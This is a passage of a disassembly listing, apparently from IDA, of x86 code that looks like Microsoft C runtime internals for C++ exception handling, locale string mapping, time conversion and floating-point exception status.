[esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jz short loc_429629 xor eax, eax retn ; --------------------------------------------------------------------------- loc_429629: ; CODE XREF: sub_429618+Cj jmp sub_429A8C sub_429618 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42962E proc near ; CODE XREF: sub_4292C0+15Dp ; sub_429473+96p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch push ebp mov ebp, esp cmp [ebp+arg_18], 0 push ebx mov ebx, [ebp+arg_14] push esi push edi mov edi, [ebp+arg_4] jz short loc_429650 push [ebp+arg_18] push ebx push edi push [ebp+arg_0] call sub_4297EE add esp, 10h loc_429650: ; CODE XREF: sub_42962E+10j cmp [ebp+arg_24], 0 push [ebp+arg_0] jnz short loc_42965C push edi jmp short loc_42965F ; --------------------------------------------------------------------------- loc_42965C: ; CODE XREF: sub_42962E+29j push [ebp+arg_24] loc_42965F: ; CODE XREF: sub_42962E+2Cj call sub_4236D2 mov esi, [ebp+arg_1C] push dword ptr [esi] push [ebp+arg_10] push [ebp+arg_C] push edi call sub_42957A mov eax, [esi+4] push 100h push [ebp+arg_20] inc eax mov [edi+8], eax push dword ptr [ebx+0Ch] push [ebp+arg_10] push [ebp+arg_8] push edi push [ebp+arg_0] call sub_4296A9 add esp, 2Ch test eax, eax jz short loc_4296A4 push edi push eax call sub_423690 loc_4296A4: ; CODE XREF: sub_42962E+6Dj pop edi pop esi pop ebx pop ebp retn sub_42962E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4296A9 proc near ; CODE XREF: sub_42962E+63p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_42F5B8 push offset sub_424B30 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov ebx, [ebp+arg_10] mov [ebp+var_2C], ebx and [ebp+var_24], 0 mov esi, [ebp+arg_4] mov eax, [esi-4] mov [ebp+var_28], eax call sub_42599D mov eax, [eax+6Ch] mov [ebp+var_1C], eax call sub_42599D mov eax, [eax+70h] mov [ebp+var_20], eax call sub_42599D mov edi, [ebp+arg_0] mov [eax+6Ch], edi call sub_42599D mov ecx, [ebp+arg_8] mov [eax+70h], ecx and [ebp+var_4], 0 mov [ebp+var_4], 1 push [ebp+arg_18] push [ebp+arg_14] push ebx push [ebp+arg_C] push esi call sub_423757 add esp, 14h mov [ebp+var_2C], eax and [ebp+var_4], 0 or [ebp+var_4], 0FFFFFFFFh call sub_429776 mov eax, [ebp+var_2C] loc_42973F: ; CODE XREF: sub_429758+16j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_4296A9 endp ; =============== S U B R O U T I N E ======================================= sub_42974E proc near ; DATA XREF: .text:0042F5C8o push dword ptr [ebp-14h] call sub_4297C4 pop ecx retn sub_42974E endp ; =============== S U B R O U T I N E ======================================= sub_429758 proc near ; DATA XREF: .text:0042F5CCo mov esp, [ebp-18h] and dword ptr [ebp-2Ch], 0 push 0FFFFFFFFh lea eax, [ebp-10h] push eax call sub_4239BA pop ecx pop ecx xor eax, eax jmp short loc_42973F sub_429758 endp ; --------------------------------------------------------------------------- loc_429770: ; DATA XREF: .text:0042F5C0o mov esi, [ebp+0Ch] mov edi, [ebp+8] ; =============== S U B R O U T I N E ======================================= sub_429776 proc near ; CODE XREF: sub_4296A9+8Ep mov eax, [ebp-28h] mov [esi-4], eax call sub_42599D mov ecx, [ebp-1Ch] mov [eax+6Ch], ecx call sub_42599D mov ecx, [ebp-20h] mov [eax+70h], ecx cmp dword ptr [edi], 0E06D7363h jnz short locret_4297C3 cmp dword ptr [edi+10h], 3 jnz short locret_4297C3 cmp dword ptr [edi+14h], 19930520h jnz short locret_4297C3 cmp dword ptr [ebp-24h], 0 jnz short locret_4297C3 cmp dword ptr [ebp-2Ch], 0 jz short locret_4297C3 call sub_423A22 push eax push edi call sub_4299B2 pop ecx pop ecx locret_4297C3: ; CODE XREF: sub_429776+22j ; sub_429776+28j ... retn sub_429776 endp ; =============== S U B R O U T I N E ======================================= sub_4297C4 proc near ; CODE XREF: sub_42974E+3p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jnz short loc_4297EB cmp dword ptr [eax+10h], 3 jnz short loc_4297EB cmp dword ptr [eax+14h], 19930520h jnz short loc_4297EB cmp dword ptr [eax+1Ch], 0 jnz short loc_4297EB push 1 pop eax retn ; --------------------------------------------------------------------------- loc_4297EB: ; CODE XREF: sub_4297C4+Cj ; sub_4297C4+12j ... xor eax, eax retn sub_4297C4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4297EE proc near ; CODE XREF: sub_42962E+1Ap var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_42F5D0 push offset sub_424B30 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ecx, [ebp+arg_8] mov eax, [ecx+4] test eax, eax jz loc_429997 cmp byte ptr [eax+8], 0 jz loc_429997 mov eax, [ecx+8] test eax, eax jz loc_429997 mov edx, [ebp+arg_4] lea edi, [eax+edx+0Ch] and [ebp+var_4], 0 test byte ptr [ecx], 8 jz short loc_42988B mov esi, [ebp+arg_0] push 1 push dword ptr [esi+18h] call sub_42CF66 pop ecx pop ecx test eax, eax jz loc_42998E push 1 push edi call sub_42CF82 pop ecx pop ecx test eax, eax jz loc_42998E mov eax, [esi+18h] mov [edi], eax mov ecx, [ebp+arg_C] add ecx, 8 push ecx loc_42987C: ; CODE XREF: sub_4297EE+F5j push eax call sub_429A19 pop ecx pop ecx mov [edi], eax jmp loc_429993 ; --------------------------------------------------------------------------- loc_42988B: ; CODE XREF: sub_4297EE+57j mov esi, [ebp+arg_C] test byte ptr [esi], 1 jz short loc_4298E5 mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] call sub_42CF66 pop ecx pop ecx test eax, eax jz loc_42998E push 1 push edi call sub_42CF82 pop ecx pop ecx test eax, eax jz loc_42998E push dword ptr [esi+14h] push dword ptr [ebx+18h] push edi call sub_423C20 add esp, 0Ch cmp dword ptr [esi+14h], 4 jnz loc_429993 mov eax, [edi] test eax, eax jz loc_429993 add esi, 8 push esi jmp short loc_42987C ; --------------------------------------------------------------------------- loc_4298E5: ; CODE XREF: sub_4297EE+A3j cmp dword ptr [esi+18h], 0 mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] jnz short loc_42992D call sub_42CF66 pop ecx pop ecx test eax, eax jz loc_42998E push 1 push edi call sub_42CF82 pop ecx pop ecx test eax, eax jz short loc_42998E push dword ptr [esi+14h] add esi, 8 push esi push dword ptr [ebx+18h] call sub_429A19 pop ecx pop ecx push eax push edi call sub_423C20 add esp, 0Ch jmp short loc_429993 ; --------------------------------------------------------------------------- loc_42992D: ; CODE XREF: sub_4297EE+103j call sub_42CF66 pop ecx pop ecx test eax, eax jz short loc_42998E push 1 push edi call sub_42CF82 pop ecx pop ecx test eax, eax jz short loc_42998E push dword ptr [esi+18h] call sub_42CF9E pop ecx test eax, eax jz short loc_42998E test byte ptr [esi], 4 jz short loc_429974 push 1 lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_429A19 pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_4236CB jmp short loc_429993 ; --------------------------------------------------------------------------- loc_429974: ; CODE XREF: sub_4297EE+168j lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_429A19 pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_4236C4 jmp short loc_429993 ; --------------------------------------------------------------------------- loc_42998E: ; CODE XREF: sub_4297EE+6Aj ; sub_4297EE+7Cj ... call sub_429AED loc_429993: ; CODE XREF: sub_4297EE+98j ; sub_4297EE+E1j ... or [ebp+var_4], 0FFFFFFFFh loc_429997: ; CODE XREF: sub_4297EE+2Ej ; sub_4297EE+38j ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_4297EE endp ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_429A8C ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4299B2 proc near ; CODE XREF: sub_4292C0+17Cp ; sub_429776+46p var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_42F5E0 push offset sub_424B30 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_0] test eax, eax jz short loc_4299F9 mov ecx, [eax+1Ch] mov ecx, [ecx+4] test ecx, ecx jz short loc_4299F9 and [ebp+var_4], 0 push ecx push dword ptr [eax+18h] call sub_4236C4 or [ebp+var_4], 0FFFFFFFFh loc_4299F9: ; CODE XREF: sub_4299B2+2Aj ; sub_4299B2+34j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_4299B2 endp ; --------------------------------------------------------------------------- xor eax, eax cmp [ebp+0Ch], al setnz al retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_429A8C ; =============== S U B R O U T I N E ======================================= sub_429A19 proc near ; CODE XREF: sub_4297EE+8Fp ; sub_4297EE+12Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push esi mov esi, [esp+4+arg_0] mov eax, [ecx] mov edx, [ecx+4] add eax, esi test edx, edx jl short loc_429A3A mov esi, [edx+esi] mov ecx, [ecx+8] mov ecx, [esi+ecx] add ecx, edx add eax, ecx loc_429A3A: ; CODE XREF: sub_429A19+12j pop esi retn sub_429A19 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429A40 proc near ; CODE XREF: sub_423757+40p ; sub_42957A+5Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 4 push ebx push ecx mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov eax, [ebp+arg_0] push ebp push [ebp+arg_8] mov ecx, [ebp+arg_8] mov ebp, [ebp+var_4] call sub_423A45 push esi push edi call eax pop edi pop esi mov ebx, ebp pop ebp mov ecx, [ebp+arg_8] push ebp mov ebp, ebx cmp ecx, 100h jnz short loc_429A7F mov ecx, 2 loc_429A7F: ; CODE XREF: sub_429A40+38j push ecx call sub_423A45 pop ebp pop ecx pop ebx leave retn 0Ch sub_429A40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429A8C proc near ; CODE XREF: sub_4292C0:loc_42946Ej ; sub_429618:loc_429629j ... var_18 = dword ptr -18h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0042CFB6 SIZE 00000017 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_42F5F0 push offset sub_424B30 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp xor esi, esi mov [ebp+var_4], esi call sub_42599D cmp [eax+60h], esi jz short loc_429ADF mov [ebp+var_4], 1 call sub_42599D call dword ptr [eax+60h] mov [ebp+var_4], esi jmp short loc_429ADF ; --------------------------------------------------------------------------- loc_429AD4: ; DATA XREF: .text:0042F600o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_429AD8: ; DATA XREF: .text:0042F604o mov esp, [ebp+var_18] and [ebp+var_4], 0 loc_429ADF: ; CODE XREF: sub_429A8C+32j ; sub_429A8C+46j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_429AE8: ; DATA XREF: .text:0042F5F8o jmp loc_42CFB6 sub_429A8C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429AED proc near ; CODE XREF: sub_4238FB+23p ; sub_4238FB:loc_423966p ... var_18 = dword ptr -18h var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_42F608 push offset sub_424B30 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, off_44BB90 test eax, eax jz short loc_429B35 mov [ebp+var_4], 1 call eax ; sub_429A8C jmp short loc_429B31 ; --------------------------------------------------------------------------- loc_429B2A: ; DATA XREF: .text:0042F618o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_429B2E: ; DATA XREF: .text:0042F61Co mov esp, [ebp+var_18] loc_429B31: ; CODE XREF: sub_429AED+3Bj and [ebp+var_4], 0 loc_429B35: ; CODE XREF: sub_429AED+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_429B3E: ; DATA XREF: .text:0042F610o jmp sub_429A8C sub_429AED endp ; =============== S U B R O U T I N E ======================================= sub_429B43 proc near ; DATA XREF: sub_429B89o ; .text:004493F0o ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi] cmp dword ptr [eax], 0E06D7363h jnz short loc_429B66 cmp dword ptr [eax+10h], 3 jnz short loc_429B66 cmp dword ptr [eax+14h], 19930520h jnz short loc_429B66 jmp sub_429A8C ; --------------------------------------------------------------------------- loc_429B66: ; CODE XREF: sub_429B43+Dj ; sub_429B43+13j ... mov eax, dword_6314AC test eax, eax jz short loc_429B83 push eax call sub_42CF9E test eax, eax pop ecx jz short loc_429B83 push esi call dword_6314AC jmp short loc_429B85 ; --------------------------------------------------------------------------- loc_429B83: ; CODE XREF: sub_429B43+2Aj ; sub_429B43+35j xor eax, eax loc_429B85: ; CODE XREF: sub_429B43+3Ej pop esi retn 4 sub_429B43 endp ; =============== S U B R O U T I N E ======================================= sub_429B89 proc near ; DATA XREF: .text:0043202Co push offset sub_429B43 call dword_42F1A8 ; SetUnhandledExceptionFilter mov dword_6314AC, eax retn sub_429B89 endp ; =============== S U B R O U T I N E ======================================= sub_429B9A proc near ; DATA XREF: .text:00432044o push dword_6314AC call dword_42F1A8 ; SetUnhandledExceptionFilter retn sub_429B9A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429BA7 proc near ; CODE XREF: sub_4240A0+C5p ; sub_4240A0+F3p ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_42F628 push offset sub_424B30 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor edi, edi cmp dword_6314B0, edi jnz short loc_429C1D push edi push edi push 1 pop ebx push ebx push offset dword_42F620 mov esi, 100h push esi push edi call dword_42F1A0 ; LCMapStringW test eax, eax jz short loc_429BFB mov dword_6314B0, ebx jmp short loc_429C1D ; --------------------------------------------------------------------------- loc_429BFB: ; CODE XREF: sub_429BA7+4Aj push edi push edi push ebx push offset word_44D6A0 push esi push edi call dword_42F1A4 ; LCMapStringA test eax, eax jz loc_429D35 mov dword_6314B0, 2 loc_429C1D: ; CODE XREF: sub_429BA7+2Ej ; sub_429BA7+52j cmp [ebp+arg_C], edi jle short loc_429C32 push [ebp+arg_C] push [ebp+arg_8] call sub_42E53D pop ecx pop ecx mov [ebp+arg_C], eax loc_429C32: ; CODE XREF: sub_429BA7+79j mov eax, dword_6314B0 cmp eax, 2 jnz short loc_429C59 push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_42F1A4 ; LCMapStringA jmp loc_429D37 ; --------------------------------------------------------------------------- loc_429C59: ; CODE XREF: sub_429BA7+93j cmp eax, 1 jnz loc_429D35 cmp [ebp+arg_18], edi jnz short loc_429C6F mov eax, dword_6314D8 mov [ebp+arg_18], eax loc_429C6F: ; CODE XREF: sub_429BA7+BEj push edi push edi push [ebp+arg_C] push [ebp+arg_8] mov eax, [ebp+arg_1C] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_18] call dword_42F098 ; MultiByteToWideChar mov ebx, eax mov [ebp+var_1C], ebx cmp ebx, edi jz loc_429D35 mov [ebp+var_4], edi lea eax, [ebx+ebx] add eax, 3 and al, 0FCh call sub_4220C0 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_429CCA ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_24], edi or [ebp+var_4], 0FFFFFFFFh mov ebx, [ebp+var_1C] loc_429CCA: ; CODE XREF: sub_429BA7+10Ej cmp [ebp+var_24], edi jz short loc_429D35 push ebx push [ebp+var_24] push [ebp+arg_C] push [ebp+arg_8] push 1 push [ebp+arg_18] call dword_42F098 ; MultiByteToWideChar test eax, eax jz short loc_429D35 push edi push edi push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call dword_42F1A0 ; LCMapStringW mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz short loc_429D35 test byte ptr [ebp+arg_4+1], 4 jz short loc_429D49 cmp [ebp+arg_14], edi jz loc_429DC4 cmp esi, [ebp+arg_14] jg short loc_429D35 push [ebp+arg_14] push [ebp+arg_10] push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call dword_42F1A0 ; LCMapStringW test eax, eax jnz loc_429DC4 loc_429D35: ; CODE XREF: sub_429BA7+66j ; sub_429BA7+B5j ... xor eax, eax loc_429D37: ; CODE XREF: sub_429BA7+ADj ; sub_429BA7+21Fj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_429D49: ; CODE XREF: sub_429BA7+160j mov [ebp+var_4], 1 lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_4220C0 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_20], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_429D7D ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_429D7D: ; CODE XREF: sub_429BA7+1C2j cmp ebx, edi jz short loc_429D35 push esi push ebx push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call dword_42F1A0 ; LCMapStringW test eax, eax jz short loc_429D35 cmp [ebp+arg_14], edi push edi push edi jnz short loc_429DA4 push edi push edi jmp short loc_429DAA ; --------------------------------------------------------------------------- loc_429DA4: ; CODE XREF: sub_429BA7+1F7j push [ebp+arg_14] push [ebp+arg_10] loc_429DAA: ; CODE XREF: sub_429BA7+1FBj push esi push ebx push 220h push [ebp+arg_18] call dword_42F0A4 ; WideCharToMultiByte mov esi, eax cmp esi, edi jz loc_429D35 loc_429DC4: ; CODE XREF: sub_429BA7+165j ; sub_429BA7+188j mov eax, esi jmp loc_429D37 sub_429BA7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429DCB proc near ; CODE XREF: sub_4241D4+C9p var_24 = byte ptr -24h var_1C = dword ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_0] sub ebx, 76Ch cmp ebx, 46h jl loc_429E87 cmp ebx, 8Ah jg loc_429E87 push esi push edi mov edi, [ebp+arg_4] mov esi, dword_44C0F4[edi*4] add esi, [ebp+arg_8] test bl, 3 jnz short loc_429E0A cmp edi, 2 jle short loc_429E0A inc esi loc_429E0A: ; CODE XREF: sub_429DCB+37j ; sub_429DCB+3Cj call sub_42D04A mov eax, ebx lea ecx, [ebx-1] imul eax, 16Dh sar ecx, 2 mov edx, esi mov [ebp+var_8], esi add edx, ecx mov [ebp+var_10], ebx add eax, edx mov edx, [ebp+arg_14] lea ecx, [eax+eax*2] mov eax, [ebp+arg_C] mov [ebp+var_1C], eax lea ecx, [eax+ecx*8] imul ecx, 3Ch add ecx, [ebp+arg_10] imul ecx, 3Ch add ecx, dword_44C010 dec edi cmp [ebp+arg_18], 1 mov [ebp+var_14], edi pop edi pop esi lea ecx, [ecx+edx+7C558180h] mov [ebp+arg_0], ecx jz short loc_429E7D cmp [ebp+arg_18], 0FFFFFFFFh jnz short loc_429E83 cmp dword_44C014, 0 jz short loc_429E83 lea eax, [ebp+var_24] push eax call sub_42D2FF pop ecx mov ecx, [ebp+arg_0] test eax, eax jz short loc_429E83 loc_429E7D: ; CODE XREF: sub_429DCB+90j add ecx, dword_44C018 loc_429E83: ; CODE XREF: sub_429DCB+96j ; sub_429DCB+9Fj ... mov eax, ecx jmp short loc_429E8A ; --------------------------------------------------------------------------- loc_429E87: ; CODE XREF: sub_429DCB+13j ; sub_429DCB+1Fj or eax, 0FFFFFFFFh loc_429E8A: ; CODE XREF: sub_429DCB+BAj pop ebx leave retn sub_429DCB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_429E8D(int, double, int) sub_429E8D proc near ; CODE XREF: sub_4242B0+51p var_1C = qword ptr -1Ch var_14 = qword ptr -14h var_C = qword ptr -0Ch arg_0 = dword ptr 8 arg_4 = qword ptr 0Ch arg_C = dword ptr 14h push ebp mov ebp, esp cmp dword_44C12C, 0 jnz short loc_429EC2 push [ebp+arg_C] ; int fld [ebp+arg_4] push ecx push ecx ; double fstp [esp+0Ch+var_C] push ecx ; int push ecx ; int fldz fstp [esp+14h+var_14] fld [ebp+arg_4] push ecx ; int push ecx ; int fstp [esp+1Ch+var_1C] push [ebp+arg_0] ; int push 1 ; int call sub_42A443 add esp, 24h pop ebp retn ; --------------------------------------------------------------------------- loc_429EC2: ; CODE XREF: sub_429E8D+Aj call sub_426528 push 0FFFFh mov dword ptr [eax], 21h push [ebp+arg_C] call sub_42A6B8 fld [ebp+arg_4] pop ecx pop ecx pop ebp retn sub_429E8D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_429EE1(int, int, double, double, int) sub_429EE1 proc near ; CODE XREF: sub_4242B0:loc_424373p var_74 = qword ptr -74h var_6C = qword ptr -6Ch var_64 = qword ptr -64h var_5C = dword ptr -5Ch var_58 = byte ptr -58h var_20 = dword ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = qword ptr 10h arg_10 = qword ptr 18h arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 58h push [ebp+arg_18] lea eax, [ebp+arg_10] push eax push [ebp+arg_0] call sub_42A22C add esp, 0Ch test eax, eax jnz short loc_429F1F lea eax, [ebp+arg_10] and [ebp+var_20], 0FFFFFFFEh push eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+arg_18] push [ebp+arg_4] push [ebp+arg_0] push eax lea eax, [ebp+var_58] push eax call sub_429F79 add esp, 18h loc_429F1F: ; CODE XREF: sub_429EE1+1Aj push [ebp+arg_0] call sub_42A518 cmp dword_44C12C, 0 pop ecx jnz short loc_429F5D test eax, eax jz short loc_429F5D push [ebp+arg_18] ; int fld [ebp+arg_10] push ecx push ecx ; double fstp [esp+64h+var_64] push ecx ; int push ecx ; int fldz fstp [esp+6Ch+var_6C] fld [ebp+arg_8] push ecx ; int push ecx ; int fstp [esp+74h+var_74] push [ebp+arg_4] ; int push eax ; int call sub_42A443 add esp, 24h leave retn ; --------------------------------------------------------------------------- loc_429F5D: ; CODE XREF: sub_429EE1+4Ej ; sub_429EE1+52j push eax call sub_42A4CB mov [esp+5Ch+var_5C], 0FFFFh push [ebp+arg_18] call sub_42A6B8 fld [ebp+arg_10] pop ecx pop ecx leave retn sub_429EE1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429F79 proc near ; CODE XREF: sub_429EE1+36p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp mov ecx, [ebp+arg_0] xor eax, eax push ebx push esi mov [ecx+4], eax mov ecx, [ebp+arg_0] push edi push 1 mov [ecx+8], eax mov ecx, [ebp+arg_0] pop ebx mov [ecx+0Ch], eax mov cl, byte ptr [ebp+arg_8] test cl, 10h jz short loc_429FAB mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Fh or [eax+4], ebx loc_429FAB: ; CODE XREF: sub_429F79+23j test cl, 2 jz short loc_429FBE mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000093h or dword ptr [eax+4], 2 loc_429FBE: ; CODE XREF: sub_429F79+35j test cl, bl jz short loc_429FD0 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000091h or dword ptr [eax+4], 4 loc_429FD0: ; CODE XREF: sub_429F79+47j test cl, 4 jz short loc_429FE3 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Eh or dword ptr [eax+4], 8 loc_429FE3: ; CODE XREF: sub_429F79+5Aj test cl, 8 jz short loc_429FF6 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000090h or dword ptr [eax+4], 10h loc_429FF6: ; CODE XREF: sub_429F79+6Dj mov esi, [ebp+arg_4] mov eax, [ebp+arg_0] push 2 mov ecx, [esi] mov edx, [eax+8] not ecx and ecx, ebx and edx, 0FFFFFFEFh shl ecx, 4 or ecx, edx pop edi mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] and ecx, 4 shl ecx, 1 and edx, 0FFFFFFF7h or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 1 and ecx, 4 and edx, 0FFFFFFFBh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 3 and ecx, edi and edx, 0FFFFFFFDh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 5 and ecx, ebx and edx, 0FFFFFFFEh or ecx, edx mov [eax+8], ecx call sub_42A69B test al, bl jz short loc_42A07F mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 10h loc_42A07F: ; CODE XREF: sub_429F79+FDj test al, 4 jz short loc_42A08A mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 8 loc_42A08A: ; CODE XREF: sub_429F79+108j test al, 8 jz short loc_42A095 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 4 loc_42A095: ; CODE XREF: sub_429F79+113j test al, 10h jz short loc_42A09F mov ecx, [ebp+arg_0] or [ecx+0Ch], edi loc_42A09F: ; CODE XREF: sub_429F79+11Ej test al, 20h jz short loc_42A0A9 mov eax, [ebp+arg_0] or [eax+0Ch], ebx loc_42A0A9: ; CODE XREF: sub_429F79+128j mov eax, [esi] mov ecx, 0C00h and eax, ecx jz short loc_42A0E8 cmp eax, 400h jz short loc_42A0DA cmp eax, 800h jz short loc_42A0CE cmp eax, ecx jnz short loc_42A0EE mov eax, [ebp+arg_0] or dword ptr [eax], 3 jmp short loc_42A0EE ; --------------------------------------------------------------------------- loc_42A0CE: ; CODE XREF: sub_429F79+147j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFEh or ecx, edi jmp short loc_42A0E4 ; --------------------------------------------------------------------------- loc_42A0DA: ; CODE XREF: sub_429F79+140j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFDh or ecx, ebx loc_42A0E4: ; CODE XREF: sub_429F79+15Fj mov [eax], ecx jmp short loc_42A0EE ; --------------------------------------------------------------------------- loc_42A0E8: ; CODE XREF: sub_429F79+139j mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFFCh loc_42A0EE: ; CODE XREF: sub_429F79+14Bj ; sub_429F79+153j ... mov eax, [esi] mov ecx, 300h and eax, ecx jz short loc_42A119 cmp eax, 200h jz short loc_42A10C cmp eax, ecx jnz short loc_42A126 mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFE3h jmp short loc_42A126 ; --------------------------------------------------------------------------- loc_42A10C: ; 